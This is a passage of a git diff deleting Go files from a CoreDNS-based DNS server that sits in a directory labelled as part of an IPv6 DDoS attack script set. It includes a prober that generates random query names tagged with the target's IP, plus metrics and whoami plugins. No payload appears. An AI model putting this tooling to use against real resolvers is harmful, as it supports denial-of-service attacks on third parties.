api中设定了qname参数,则以该参数为准 - if v, ok := param["qname"]; ok { - msg.Question[0].Name = generateQname(v[0], ctx) - // 交由下一个插件处理 - return plugin.PNextOrFailure(q.Name(), q.next, ctx, c, msg) - } - if q.setFromFile != "" { - // api中未设定,读取配置文件 - msg.Question[0].Name = generateQname(q.setFromFile, ctx) - return plugin.PNextOrFailure(q.Name(), q.next, ctx, c, msg) - } - log.Error("未指定参数") - return 2, errors.New(q.Name() + ": 未指定参数") - -} - -func (q Qname) Name() string { - return "qname" -} - -func generateQname(arg string, ctx context.Context) string { - args := strings.Split(arg, ".") - qname := "" - for _, v := range args { - // 含有( { [的视为函数部分 - p, ok := intersectionStringsList(v, funcList) - if ok { - i := strings.Index(v, p) //进入循环表明一定有匹配 - if f, fok := funcMap[v[:i]]; fok { - qname += f(v[i+1:len(v)-1], ctx) - } - } - // 不含直接添加 - qname += v + "." - } - return qname -} - -// 返回一定长度的随机字符串+"." -func rand(d string, _ context.Context) string { - num, _ := strconv.Atoi(d) - return strings.ToLower(randstr.RandomAlphanumeric(num)) + "." -} - -// 起始水印标识生成+".",如果为null则不生成 -func genMask(d string, ctx context.Context) string { - if d == "null" || d == "" { - return "" - } - return d + ip2id(ctx.Value(prober.Target).(net.IP)) + "." -} - -func ip2id(ip net.IP) string { - // v4地址 - if strings.Contains(ip.String(), ".") { - return strings.ReplaceAll(ip.String(), ".", "-") - } - return strings.ReplaceAll(ip.String(), ":", "-") -} - -var funcList = []string{"(", ")", "{", "}", "[", "]"} - -// 表达式中的函数与实际处理函数的映射 -var funcMap = map[string]func(string, context.Context) string{ - "rand": rand, - "smask": genMask, -} diff --git "a/att script/4(v6 DDoS)/code/\350\276\205\345\212\251\346\235\203\345\250\201\346\234\215\345\212\241\345\231\250/plugin/prober/qname/qnameutil.go" "b/att script/4(v6 DDoS)/code/\350\276\205\345\212\251\346\235\203\345\250\201\346\234\215\345\212\241\345\231\250/plugin/prober/qname/qnameutil.go" deleted file mode 100644 index 177d6c8..0000000 --- "a/att script/4(v6 DDoS)/code/\350\276\205\345\212\251\346\235\203\345\250\201\346\234\215\345\212\241\345\231\250/plugin/prober/qname/qnameutil.go" +++ /dev/null @@ -1,13 +0,0 @@ -package qname - -import "strings" - -// intersectionStringsList 判断字符串内是否有sublist中的元素,并返回匹配的元素 -func intersectionStringsList(str string, sublist []string) (string, bool) { - for _, item := range sublist { - if strings.Contains(str, item) { - return item, true - } - } - return "", false -} diff --git "a/att script/4(v6 DDoS)/code/\350\276\205\345\212\251\346\235\203\345\250\201\346\234\215\345\212\241\345\231\250/plugin/prober/qname/setup.go" "b/att script/4(v6 DDoS)/code/\350\276\205\345\212\251\346\235\203\345\250\201\346\234\215\345\212\241\345\231\250/plugin/prober/qname/setup.go" deleted file mode 100644 index 13dbba5..0000000 --- "a/att script/4(v6 DDoS)/code/\350\276\205\345\212\251\346\235\203\345\250\201\346\234\215\345\212\241\345\231\250/plugin/prober/qname/setup.go" +++ /dev/null @@ -1,27 +0,0 @@ -package qname - -import ( - "github.com/coredns/caddy" - "ohmydns2/core/prober" - "ohmydns2/plugin" - olog "ohmydns2/plugin/pkg/log" - //"ohmydns2/plugin/pkg/prober" -) - -func init() { plugin.ProbeRegister("qname", setup) } - -func setup(c *caddy.Controller) error { - qname := new(Qname) - // 存在参数,加载到结构体中 - if c.NextArg() { - qname.setFromFile = c.RemainingArgs()[0] - } - - prober.GetPBConfig(c).AddPlugin(func(next plugin.Prober) plugin.Prober { - return qname - }) - - return nil -} - -var log = olog.NewWithPlugin("qname") diff --git "a/att script/4(v6 DDoS)/code/\350\276\205\345\212\251\346\235\203\345\250\201\346\234\215\345\212\241\345\231\250/plugin/prometheus/context.go" "b/att script/4(v6 DDoS)/code/\350\276\205\345\212\251\346\235\203\345\250\201\346\234\215\345\212\241\345\231\250/plugin/prometheus/context.go" deleted file mode 100644 index 9c7ce55..0000000 --- "a/att script/4(v6 DDoS)/code/\350\276\205\345\212\251\346\235\203\345\250\201\346\234\215\345\212\241\345\231\250/plugin/prometheus/context.go" +++ /dev/null @@ -1,36 +0,0 @@ -package prometheus - -import ( - "context" - "ohmydns2/core/dnsserver" -) - -// WithServer returns the current server handling the request. It returns the -// server listening address: ://[]: Normally this is -// something like "dns://:53", but if the bind plugin is used, i.e. "bind -// 127.0.0.53", it will be "dns://127.0.0.53:53", etc. If not address is found -// the empty string is returned. -// -// Basic usage with a metric: -// -// .WithLabelValues(metrics.WithServer(ctx), labels..).Add(1) -func WithServer(ctx context.Context) string { - srv := ctx.Value(dnsserver.Key{}) - if srv == nil { - return "" - } - return srv.(*dnsserver.Server).Addr -} - -// WithView returns the name of the view currently handling the request, if a view is defined. -// -// Basic usage with a metric: -// -// .WithLabelValues(metrics.WithView(ctx), labels..).Add(1) -func WithView(ctx context.Context) string { - v := ctx.Value(dnsserver.ViewKey{}) - if v == nil { - return "" - } - return v.(string) -} diff --git "a/att script/4(v6 DDoS)/code/\350\276\205\345\212\251\346\235\203\345\250\201\346\234\215\345\212\241\345\231\250/plugin/prometheus/handler.go" "b/att script/4(v6 DDoS)/code/\350\276\205\345\212\251\346\235\203\345\250\201\346\234\215\345\212\241\345\231\250/plugin/prometheus/handler.go" deleted file mode 100644 index 47fa172..0000000 --- "a/att script/4(v6 DDoS)/code/\350\276\205\345\212\251\346\235\203\345\250\201\346\234\215\345\212\241\345\231\250/plugin/prometheus/handler.go" +++ /dev/null @@ -1,56 +0,0 @@ -package prometheus - -import ( - "context" - "ohmydns2/plugin" - "ohmydns2/plugin/pkg/rcode" - "ohmydns2/plugin/pkg/request" - "ohmydns2/plugin/prometheus/vars" - "path/filepath" - - "github.com/miekg/dns" -) - -// ServeDNS implements the Handler interface. -func (m *Metrics) ServeDNS(ctx context.Context, w dns.ResponseWriter, r *dns.Msg) (int, error) { - state := request.Request{W: w, Req: r} - - qname := state.QName() - zone := plugin.Zones(m.ZoneNames()).Matches(qname) - if zone == "" { - zone = "." - } - - // Record response to get status code and size of the reply. - rw := NewRecorder(w) - status, err := plugin.NextOrFailure(m.Name(), m.Next, ctx, rw, r) - - rc := rw.Rcode - if !plugin.ClientWrite(status) { - // when no response was written, fallback to status returned from next plugin as this status - // is actually used as rcode of DNS response - // see https://github.com/coredns/coredns/blob/master/core/dnsserver/server.go#L318 - rc = status - } - plugin := m.authoritativePlugin(rw.Caller) - vars.Report(WithServer(ctx), state, zone, WithView(ctx), rcode.ToString(rc), plugin, rw.Len, rw.Start) - - return status, err -} - -// Name implements the Handler interface. -func (m *Metrics) Name() string { return "prometheus" } - -// authoritativePlugin returns which of made the write, if none is found the empty string is returned. -func (m *Metrics) authoritativePlugin(caller [3]string) string { - // a b and c contain the full path of the caller, the plugin name 2nd last elements - // .../coredns/plugin/whoami/whoami.go --> whoami - // this is likely FS specific, so use filepath. - for _, c := range caller { - plug := filepath.Base(filepath.Dir(c)) - if _, ok := m.plugins[plug]; ok { - return plug - } - } - return "" -} diff --git "a/att script/4(v6 DDoS)/code/\350\276\205\345\212\251\346\235\203\345\250\201\346\234\215\345\212\241\345\231\250/plugin/prometheus/metrics.go" "b/att script/4(v6 DDoS)/code/\350\276\205\345\212\251\346\235\203\345\250\201\346\234\215\345\212\241\345\231\250/plugin/prometheus/metrics.go" deleted file mode 100644 index ce58cbc..0000000 --- "a/att script/4(v6 DDoS)/code/\350\276\205\345\212\251\346\235\203\345\250\201\346\234\215\345\212\241\345\231\250/plugin/prometheus/metrics.go" +++ /dev/null @@ -1,170 +0,0 @@ -package prometheus - -import ( - "context" - "net" - "net/http" - "ohmydns2/plugin" - "ohmydns2/plugin/pkg/reuseport" - "sync" - "time" - - "github.com/coredns/caddy" - "github.com/prometheus/client_golang/prometheus" - "github.com/prometheus/client_golang/prometheus/promauto" - "github.com/prometheus/client_golang/prometheus/promhttp" -) - -// Metrics holds the prometheus configuration. The metrics' path is fixed to be /metrics . -type Metrics struct { - Next plugin.Handler - Addr string - Reg *prometheus.Registry - - ln net.Listener - lnSetup bool - - mux *http.ServeMux - srv *http.Server - - zoneNames []string - zoneMap map[string]struct{} - zoneMu sync.RWMutex - - plugins map[string]struct{} // all available plugins, used to determine which plugin made the client write -} - -// New returns a new instance of Metrics with the given address. -func New(addr string) *Metrics { - met := &Metrics{ - Addr: addr, - Reg: prometheus.DefaultRegisterer.(*prometheus.Registry), - zoneMap: make(map[string]struct{}), - plugins: pluginList(caddy.ListPlugins()), - } - - return met -} - -// MustRegister wraps m.Reg.MustRegister. -func (m *Metrics) MustRegister(c prometheus.Collector) { - err := m.Reg.Register(c) - if err != nil { - // ignore any duplicate error, but fatal on any other kind of error - if _, ok := err.(prometheus.AlreadyRegisteredError); !ok { - log.Fatalf("Cannot register metrics collector: %s", err) - } - } -} - -// AddZone adds zone z to m. -func (m *Metrics) AddZone(z string) { - m.zoneMu.Lock() - m.zoneMap[z] = struct{}{} - m.zoneNames = keys(m.zoneMap) - m.zoneMu.Unlock() -} - -// RemoveZone remove zone z from m. -func (m *Metrics) RemoveZone(z string) { - m.zoneMu.Lock() - delete(m.zoneMap, z) - m.zoneNames = keys(m.zoneMap) - m.zoneMu.Unlock() -} - -// ZoneNames returns the zones of m. -func (m *Metrics) ZoneNames() []string { - m.zoneMu.RLock() - s := m.zoneNames - m.zoneMu.RUnlock() - return s -} - -// OnStartup sets up the metrics on startup. -func (m *Metrics) OnStartup() error { - ln, err := reuseport.Listen("tcp", m.Addr) - if err != nil { - log.Errorf("Failed to start metrics handler: %s", err) - return err - } - - m.ln = ln - m.lnSetup = true - - m.mux = http.NewServeMux() - m.mux.Handle("/metrics", promhttp.HandlerFor(m.Reg, promhttp.HandlerOpts{})) - - // creating some helper variables to avoid data races on m.srv and m.ln - server := &http.Server{Handler: m.mux} - m.srv = server - - go func() { - server.Serve(ln) - }() - - ListenAddr = ln.Addr().String() // For tests. - return nil -} - -// OnRestart stops the listener on reload. -func (m *Metrics) OnRestart() error { - if !m.lnSetup { - return nil - } - u.Unset(m.Addr) - return m.stopServer() -} - -func (m *Metrics) stopServer() error { - if !m.lnSetup { - return nil - } - ctx, cancel := context.WithTimeout(context.Background(), shutdownTimeout) - defer cancel() - if err := m.srv.Shutdown(ctx); err != nil { - log.Infof("Failed to stop prometheus http server: %s", err) - return err - } - m.lnSetup = false - m.ln.Close() - return nil -} - -// OnFinalShutdown tears down the metrics listener on shutdown and restart. -func (m *Metrics) OnFinalShutdown() error { return m.stopServer() } - -func keys(m map[string]struct{}) []string { - sx := []string{} - for k := range m { - sx = append(sx, k) - } - return sx -} - -// pluginList iterates over the returned plugin map from caddy and removes the "dns." prefix from them. -func pluginList(m map[string][]string) map[string]struct{} { - pm := map[string]struct{}{} - for _, p := range m["others"] { - // only add 'dns.' plugins - if len(p) > 3 { - pm[p[4:]] = struct{}{} - continue - } - } - return pm -} - -// ListenAddr is assigned the address of the prometheus listener. Its use is mainly in tests where -// we listen on "localhost:0" and need to retrieve the actual address. -var ListenAddr string - -// shutdownTimeout is the maximum amount of time the metrics plugin will wait -// before erroring when it tries to close the metrics server -const shutdownTimeout time.Duration = time.Second * 5 - -var buildInfo = promauto.NewGaugeVec(prometheus.GaugeOpts{ - Namespace: plugin.Namespace, - Name: "build_info", - Help: "A metric with a constant '1' value labeled by version, revision, and goversion from which OhmyDNS was built.", -}, []string{"version", "revision", "goversion"}) diff --git "a/att script/4(v6 DDoS)/code/\350\276\205\345\212\251\346\235\203\345\250\201\346\234\215\345\212\241\345\231\250/plugin/prometheus/recorder.go" "b/att script/4(v6 DDoS)/code/\350\276\205\345\212\251\346\235\203\345\250\201\346\234\215\345\212\241\345\231\250/plugin/prometheus/recorder.go" deleted file mode 100644 index acb5263..0000000 --- "a/att script/4(v6 DDoS)/code/\350\276\205\345\212\251\346\235\203\345\250\201\346\234\215\345\212\241\345\231\250/plugin/prometheus/recorder.go" +++ /dev/null @@ -1,27 +0,0 @@ -package prometheus - -import ( - "ohmydns2/plugin/pkg/dnstest" - "runtime" - - "github.com/miekg/dns" -) - -// Recorder is a dnstest.Recorder specific to the metrics plugin. -type Recorder struct { - *dnstest.Recorder - // CallerN holds the string return value of the call to runtime.Caller(N+1) - Caller [3]string -} - -// NewRecorder makes and returns a new Recorder. -func NewRecorder(w dns.ResponseWriter) *Recorder { return &Recorder{Recorder: dnstest.NewRecorder(w)} } - -// WriteMsg records the status code and calls the -// underlying ResponseWriter's WriteMsg method. -func (r *Recorder) WriteMsg(res *dns.Msg) error { - _, r.Caller[0], _, _ = runtime.Caller(1) - _, r.Caller[1], _, _ = runtime.Caller(2) - _, r.Caller[2], _, _ = runtime.Caller(3) - return r.Recorder.WriteMsg(res) -} diff --git "a/att script/4(v6 DDoS)/code/\350\276\205\345\212\251\346\235\203\345\250\201\346\234\215\345\212\241\345\231\250/plugin/prometheus/registry.go" "b/att script/4(v6 DDoS)/code/\350\276\205\345\212\251\346\235\203\345\250\201\346\234\215\345\212\241\345\231\250/plugin/prometheus/registry.go" deleted file mode 100644 index c3dc9ff..0000000 --- "a/att script/4(v6 DDoS)/code/\350\276\205\345\212\251\346\235\203\345\250\201\346\234\215\345\212\241\345\231\250/plugin/prometheus/registry.go" +++ /dev/null @@ -1,28 +0,0 @@ -package prometheus - -import ( - "sync" - - "github.com/prometheus/client_golang/prometheus" -) - -type reg struct { - sync.RWMutex - r map[string]*prometheus.Registry -} - -func newReg() *reg { return ®{r: make(map[string]*prometheus.Registry)} } - -// update sets the registry if not already there and returns the input. Or it returns -// a previous set value. -func (r *reg) getOrSet(addr string, pr *prometheus.Registry) *prometheus.Registry { - r.Lock() - defer r.Unlock() - - if v, ok := r.r[addr]; ok { - return v - } - - r.r[addr] = pr - return pr -} diff --git "a/att script/4(v6 DDoS)/code/\350\276\205\345\212\251\346\235\203\345\250\201\346\234\215\345\212\241\345\231\250/plugin/prometheus/setup.go" "b/att script/4(v6 DDoS)/code/\350\276\205\345\212\251\346\235\203\345\250\201\346\234\215\345\212\241\345\231\250/plugin/prometheus/setup.go" deleted file mode 100644 index e5ca825..0000000 --- "a/att script/4(v6 DDoS)/code/\350\276\205\345\212\251\346\235\203\345\250\201\346\234\215\345\212\241\345\231\250/plugin/prometheus/setup.go" +++ /dev/null @@ -1,106 +0,0 @@ -package prometheus - -import ( - "net" - "ohmydns2/core/dnsserver" - "ohmydns2/ohmain" - "ohmydns2/plugin" - olog "ohmydns2/plugin/pkg/log" - "ohmydns2/plugin/pkg/uniq" - "ohmydns2/plugin/prometheus/vars" - - "github.com/coredns/caddy" - - "runtime" -) - -var ( - log = olog.NewWithPlugin("prometheus") - u = uniq.New() - registry = newReg() -) - -func init() { plugin.Register("prometheus", setup) } - -func setup(c *caddy.Controller) error { - m, err := parse(c) - if err != nil { - return plugin.Error("prometheus", err) - } - m.Reg = registry.getOrSet(m.Addr, m.Reg) - - c.OnStartup(func() error { m.Reg = registry.getOrSet(m.Addr, m.Reg); u.Set(m.Addr, m.OnStartup); return nil }) - c.OnRestartFailed(func() error { m.Reg = registry.getOrSet(m.Addr, m.Reg); u.Set(m.Addr, m.OnStartup); return nil }) - - c.OnStartup(func() error { return u.ForEach() }) - c.OnRestartFailed(func() error { return u.ForEach() }) - - c.OnStartup(func() error { - conf := dnsserver.GetConfig(c) - for _, h := range conf.ListenHosts { - addrstr := conf.Transport + "://" + net.JoinHostPort(h, conf.Port) - for _, p := range conf.Handlers() { - vars.PluginEnabled.WithLabelValues(addrstr, conf.Zone, conf.ViewName, p.Name()).Set(1) - } - } - return nil - }) - c.OnRestartFailed(func() error { - conf := dnsserver.GetConfig(c) - for _, h := range conf.ListenHosts { - addrstr := conf.Transport + "://" + net.JoinHostPort(h, conf.Port) - for _, p := range conf.Handlers() { - vars.PluginEnabled.WithLabelValues(addrstr, conf.Zone, conf.ViewName, p.Name()).Set(1) - } - } - return nil - }) - - c.OnRestart(m.OnRestart) - c.OnRestart(func() error { vars.PluginEnabled.Reset(); return nil }) - c.OnFinalShutdown(m.OnFinalShutdown) - - // Initialize metrics. - buildInfo.WithLabelValues(ohmain.OMVersion, ohmain.GitCommit, runtime.Version()).Set(1) - - dnsserver.GetConfig(c).AddPlugin(func(next plugin.Handler) plugin.Handler { - m.Next = next - return m - }) - - return nil -} - -func parse(c *caddy.Controller) (*Metrics, error) { - met := New(defaultAddr) - - i := 0 - for c.Next() { - if i > 0 { - return nil, plugin.ErrOnce - } - i++ - - zones := plugin.OriginsFromArgsOrServerBlock(nil /* args */, c.ServerBlockKeys) - for _, z := range zones { - met.AddZone(z) - } - args := c.RemainingArgs() - - switch len(args) { - case 0: - case 1: - met.Addr = args[0] - _, _, e := net.SplitHostPort(met.Addr) - if e != nil { - return met, e - } - default: - return met, c.ArgErr() - } - } - return met, nil -} - -// defaultAddr is the address the where the metrics are exported by default. -const defaultAddr = "localhost:9153" diff --git "a/att script/4(v6 DDoS)/code/\350\276\205\345\212\251\346\235\203\345\250\201\346\234\215\345\212\241\345\231\250/plugin/prometheus/vars/monitor.go" "b/att script/4(v6 DDoS)/code/\350\276\205\345\212\251\346\235\203\345\250\201\346\234\215\345\212\241\345\231\250/plugin/prometheus/vars/monitor.go" deleted file mode 100644 index 084a6cf..0000000 --- "a/att script/4(v6 DDoS)/code/\350\276\205\345\212\251\346\235\203\345\250\201\346\234\215\345\212\241\345\231\250/plugin/prometheus/vars/monitor.go" +++ /dev/null @@ -1,34 +0,0 @@ -package vars - -import "github.com/miekg/dns" - -var monitorType = map[uint16]struct{}{ - dns.TypeAAAA: {}, - dns.TypeA: {}, - dns.TypeCNAME: {}, - dns.TypeDNSKEY: {}, - dns.TypeDS: {}, - dns.TypeMX: {}, - dns.TypeNSEC3: {}, - dns.TypeNSEC: {}, - dns.TypeNS: {}, - dns.TypePTR: {}, - dns.TypeRRSIG: {}, - dns.TypeSOA: {}, - dns.TypeSRV: {}, - dns.TypeTXT: {}, - dns.TypeHTTPS: {}, - // Meta Qtypes - dns.TypeIXFR: {}, - dns.TypeAXFR: {}, - dns.TypeANY: {}, -} - -// qTypeString returns the RR type based on monitorType. It returns the text representation -// of those types. RR types not in that list will have "other" returned. -func qTypeString(qtype uint16) string { - if _, known := monitorType[qtype]; known { - return dns.Type(qtype).String() - } - return "other" -} diff --git "a/att script/4(v6 DDoS)/code/\350\276\205\345\212\251\346\235\203\345\250\201\346\234\215\345\212\241\345\231\250/plugin/prometheus/vars/report.go" "b/att script/4(v6 DDoS)/code/\350\276\205\345\212\251\346\235\203\345\250\201\346\234\215\345\212\241\345\231\250/plugin/prometheus/vars/report.go" deleted file mode 100644 index 9ea9ba1..0000000 --- "a/att script/4(v6 DDoS)/code/\350\276\205\345\212\251\346\235\203\345\250\201\346\234\215\345\212\241\345\231\250/plugin/prometheus/vars/report.go" +++ /dev/null @@ -1,32 +0,0 @@ -package vars - -import ( - "ohmydns2/plugin/pkg/request" - "time" -) - -// Report reports the metrics data associated with request. This function is exported because it is also -// called from core/dnsserver to report requests hitting the server that should not be handled and are thus -// not sent down the plugin chain. -func Report(server string, req request.Request, zone, view, rcode, plugin string, size int, start time.Time) { - // Proto and Family. - net := req.Proto() - fam := "1" - if req.Family() == 2 { - fam = "2" - } - - if req.Do() { - RequestDo.WithLabelValues(server, zone, view).Inc() - } - - qType := qTypeString(req.QType()) - RequestCount.WithLabelValues(server, zone, view, net, fam, qType).Inc() - - RequestDuration.WithLabelValues(server, zone, view).Observe(time.Since(start).Seconds()) - - ResponseSize.WithLabelValues(server, zone, view, net).Observe(float64(size)) - RequestSize.WithLabelValues(server, zone, view, net).Observe(float64(req.Len())) - - ResponseRcode.WithLabelValues(server, zone, view, rcode, plugin).Inc() -} diff --git "a/att script/4(v6 DDoS)/code/\350\276\205\345\212\251\346\235\203\345\250\201\346\234\215\345\212\241\345\231\250/plugin/prometheus/vars/vars.go" "b/att script/4(v6 DDoS)/code/\350\276\205\345\212\251\346\235\203\345\250\201\346\234\215\345\212\241\345\231\250/plugin/prometheus/vars/vars.go" deleted file mode 100644 index 2f368bb..0000000 --- "a/att script/4(v6 DDoS)/code/\350\276\205\345\212\251\346\235\203\345\250\201\346\234\215\345\212\241\345\231\250/plugin/prometheus/vars/vars.go" +++ /dev/null @@ -1,88 +0,0 @@ -package vars - -import ( - "github.com/prometheus/client_golang/prometheus" - "github.com/prometheus/client_golang/prometheus/promauto" - "ohmydns2/plugin" -) - -// Request* and Response* are the prometheus counters and gauges we are using for exporting metrics. -var ( - RequestCount = promauto.NewCounterVec(prometheus.CounterOpts{ - Namespace: plugin.Namespace, - Subsystem: subsystem, - Name: "requests_total", - Help: "Counter of DNS requests made per zone, protocol and family.", - }, []string{"server", "zone", "view", "proto", "family", "type"}) - - RequestDuration = promauto.NewHistogramVec(prometheus.HistogramOpts{ - Namespace: plugin.Namespace, - Subsystem: subsystem, - Name: "request_duration_seconds", - Buckets: plugin.TimeBuckets, - Help: "Histogram of the time (in seconds) each request took per zone.", - }, []string{"server", "zone", "view"}) - - RequestSize = promauto.NewHistogramVec(prometheus.HistogramOpts{ - Namespace: plugin.Namespace, - Subsystem: subsystem, - Name: "request_size_bytes", - Help: "Size of the EDNS0 UDP buffer in bytes (64K for TCP) per zone and protocol.", - Buckets: []float64{0, 100, 200, 300, 400, 511, 1023, 2047, 4095, 8291, 16e3, 32e3, 48e3, 64e3}, - }, []string{"server", "zone", "view", "proto"}) - - RequestDo = promauto.NewCounterVec(prometheus.CounterOpts{ - Namespace: plugin.Namespace, - Subsystem: subsystem, - Name: "do_requests_total", - Help: "Counter of DNS requests with DO bit set per zone.", - }, []string{"server", "zone", "view"}) - - ResponseSize = promauto.NewHistogramVec(prometheus.HistogramOpts{ - Namespace: plugin.Namespace, - Subsystem: subsystem, - Name: "response_size_bytes", - Help: "Size of the returned response in bytes.", - Buckets: []float64{0, 100, 200, 300, 400, 511, 1023, 2047, 4095, 8291, 16e3, 32e3, 48e3, 64e3}, - }, []string{"server", "zone", "view", "proto"}) - - ResponseRcode = promauto.NewCounterVec(prometheus.CounterOpts{ - Namespace: plugin.Namespace, - Subsystem: subsystem, - Name: "responses_total", - Help: "Counter of response status codes.", - }, []string{"server", "zone", "view", "rcode", "plugin"}) - - Panic = promauto.NewCounter(prometheus.CounterOpts{ - Namespace: plugin.Namespace, - Name: "panics_total", - Help: "A metrics that counts the number of panics.", - }) - - PluginEnabled = promauto.NewGaugeVec(prometheus.GaugeOpts{ - Namespace: plugin.Namespace, - Name: "plugin_enabled", - Help: "A metric that indicates whether a plugin is enabled on per server and zone basis.", - }, []string{"server", "zone", "view", "name"}) - - HTTPSResponsesCount = promauto.NewCounterVec(prometheus.CounterOpts{ - Namespace: plugin.Namespace, - Subsystem: subsystem, - Name: "https_responses_total", - Help: "Counter of DoH responses per server and http status code.", - }, []string{"server", "status"}) - HTTPResponsesCount = promauto.NewCounterVec(prometheus.CounterOpts{ - Namespace: plugin.Namespace, - Subsystem: probesubsystem, - Name: "http_responses_total", - Help: "Counter of HTTP responses per server and http status code.", - }, []string{"server", "status"}) -) - -const ( - subsystem = "dns" - probesubsystem = "probe" - - // Dropped indicates we dropped the query before any handling. It has no closing dot, so it can not be a valid zone. - Dropped = "dropped" -) diff --git "a/att script/4(v6 DDoS)/code/\350\276\205\345\212\251\346\235\203\345\250\201\346\234\215\345\212\241\345\231\250/plugin/register.go" "b/att script/4(v6 DDoS)/code/\350\276\205\345\212\251\346\235\203\345\250\201\346\234\215\345\212\241\345\231\250/plugin/register.go" deleted file mode 100644 index b3b7a14..0000000 --- "a/att script/4(v6 DDoS)/code/\350\276\205\345\212\251\346\235\203\345\250\201\346\234\215\345\212\241\345\231\250/plugin/register.go" +++ /dev/null @@ -1,19 +0,0 @@ -package plugin - -import "github.com/coredns/caddy" - -// Register registers your plugin with OhmyDNS2 and allows it to be called when the server is running. -func Register(name string, action caddy.SetupFunc) { - caddy.RegisterPlugin(name, caddy.Plugin{ - ServerType: "dns", - Action: action, - }) -} - -// ProbeRegister registers your plugin with OhmyDNS2 and allows it to be called when the prober is running. -func ProbeRegister(name string, action caddy.SetupFunc) { - caddy.RegisterPlugin(name, caddy.Plugin{ - ServerType: "dnsprober", - Action: action, - }) -} diff --git "a/att script/4(v6 DDoS)/code/\350\276\205\345\212\251\346\235\203\345\250\201\346\234\215\345\212\241\345\231\250/plugin/whoami/setup.go" "b/att script/4(v6 DDoS)/code/\350\276\205\345\212\251\346\235\203\345\250\201\346\234\215\345\212\241\345\231\250/plugin/whoami/setup.go" deleted file mode 100644 index 9ab99bc..0000000 --- "a/att script/4(v6 DDoS)/code/\350\276\205\345\212\251\346\235\203\345\250\201\346\234\215\345\212\241\345\231\250/plugin/whoami/setup.go" +++ /dev/null @@ -1,22 +0,0 @@ -package whoami - -import ( - "github.com/coredns/caddy" - "ohmydns2/core/dnsserver" - "ohmydns2/plugin" -) - -func init() { plugin.Register("whoami", setup) } - -func setup(c *caddy.Controller) error { - c.Next() // 'whoami' - if c.NextArg() { - return plugin.Error("whoami", c.ArgErr()) - } - - dnsserver.GetConfig(c).AddPlugin(func(next plugin.Handler) plugin.Handler { - return Whoami{} - }) - - return nil -} diff --git "a/att script/4(v6 DDoS)/code/\350\276\205\345\212\251\346\235\203\345\250\201\346\234\215\345\212\241\345\231\250/plugin/whoami/whoami.go" "b/att script/4(v6 DDoS)/code/\350\276\205\345\212\251\346\235\203\345\250\201\346\234\215\345\212\241\345\231\250/plugin/whoami/whoami.go" deleted file mode 100644 index 4c18ec0..0000000 --- "a/att script/4(v6 DDoS)/code/\350\276\205\345\212\251\346\235\203\345\250\201\346\234\215\345\212\241\345\231\250/plugin/whoami/whoami.go" +++ /dev/null @@ -1,56 +0,0 @@ -package whoami - -import ( - "context" - "github.com/miekg/dns" - "net" - "ohmydns2/plugin/pkg/request" - "strconv" -) - -const name = "whoami" - -// Whoami is a plugin that returns your IP address, port and the protocol used for connecting -// to CoreDNS. -type Whoami struct{} - -// ServeDNS implements the plugin.Handler interface. -func (wh Whoami) ServeDNS(ctx context.Context, w dns.ResponseWriter, r *dns.Msg) (int, error) { - state := request.Request{W: w, Req: r} - - a := new(dns.Msg) - a.SetReply(r) - a.Authoritative = true - - ip := state.IP() - var rr dns.RR - - switch state.Family() { - case 1: - rr = new(dns.A) - rr.(*dns.A).Hdr = dns.RR_Header{Name: state.QName(), Rrtype: dns.TypeA, Class: state.QClass()} - rr.(*dns.A).A = net.ParseIP(ip).To4() - case 2: - rr = new(dns.AAAA) - rr.(*dns.AAAA).Hdr = dns.RR_Header{Name: state.QName(), Rrtype: dns.TypeAAAA, Class: state.QClass()} - rr.(*dns.AAAA).AAAA = net.ParseIP(ip) - } - - srv := new(dns.SRV) - srv.Hdr = dns.RR_Header{Name: "_" + state.Proto() + "." + state.QName(), Rrtype: dns.TypeSRV, Class: state.QClass()} - if state.QName() == "." { - srv.Hdr.Name = "_" + state.Proto() + state.QName() - } - port, _ := strconv.ParseUint(state.Port(), 10, 16) - srv.Port = uint16(port) - srv.Target = "." - - a.Extra = []dns.RR{rr, srv} - - w.WriteMsg(a) - - return 0, nil -} - -// Name implements the Handler interface. -func (wh Whoami) Name() string { return name } diff --git "a/att script/4(v6 DDoS)/code/\350\276\205\345\212\251\346\235\203\345\250\201\346\234\215\345\212\241\345\231\250/plugin_gen.go" "b/att script/4(v6 DDoS)/code/\350\276\205\345\212\251\346\235\203\345\250\201\346\234\215\345\212\241\345\231\250/plugin_gen.go" deleted file mode 100644 index 094236a..0000000 --- "a/att script/4(v6 DDoS)/code/\350\276\205\345\212\251\346\235\203\345\250\201\346\234\215\345\212\241\345\231\250/plugin_gen.go" +++ /dev/null @@ -1,126 +0,0 @@ -//go:build ignore - -// 用于自动生成core/plug/zplugin.go和core/dnsserver/zdirectives.go的内容 -package main - -import ( - "bufio" - "go/format" - "log" - "os" - "strings" -) - -func main() { - mi := make(map[string]string, 0) - md := []string{} - pmd := []string{} - - file, err := os.Open(pluginFile) - if err != nil { - log.Fatalf("Failed to open %s: %q", pluginFile, err) - } - - defer file.Close() - - scanner := bufio.NewScanner(file) - for scanner.Scan() { - line := scanner.Text() - if strings.HasPrefix(line, "#") { - continue - } - - items := strings.Split(line, ":") - if len(items) != 2 { - // ignore empty lines - continue - } - name, repo := items[0], items[1] - // 判断是否重复 - if _, ok := mi[name]; ok { - log.Fatalf("Duplicate entry %q", name) - } - - if _, err := os.Stat(pluginFSPath + repo); err != nil { // External package has been given - if _, err = os.Stat(proberPluginFSPath + repo); err == nil { - mi[name] = proberPluginPath + repo //探测端插件 - pmd = append(pmd, name) - continue - } else { - panic(err.Error()) - mi[name] = repo - } - } else { - mi[name] = pluginPath + repo // 服务端插件 - md = append(md, name) - } - } - - genImports("core/plug/zplugin.go", "plugin", mi) - // 服务端 - genDirectives("core/dnsserver/zdirectives.go", "dnsserver", md) - // 探测端 - genDirectives("core/prober/pdirectives.go", "prober", pmd) -} - -func genImports(file, pack string, mi map[string]string) { - outs := header + "package " + pack + "\n\n" + "import (" - - if len(mi) > 0 { - outs += "\n" - } - - outs += "// Include all plugins.\n" - for _, v := range mi { - outs += `_ "` + v + `"` + "\n" - } - outs += ")\n" - - if err := formatAndWrite(file, outs); err != nil { - log.Fatalf("Failed to format and write: %q", err) - } -} - -func genDirectives(file, pack string, md []string) { - outs := header + "package " + pack + "\n\n" - outs += ` -// Directives are registered in the order they should be -// executed. -// -// Ordering is VERY important. Every plugin will -// feel the effects of all other plugin below -// (after) them during a request, but they must not -// care what plugin above them are doing. -var Directives = []string{ -` - // 插件列表生成 - for i := range md { - outs += `"` + md[i] + `",` + "\n" - } - outs += "}\n" - - if err := formatAndWrite(file, outs); err != nil { - log.Fatalf("Failed to format and write: %q", err) - } -} - -func formatAndWrite(file 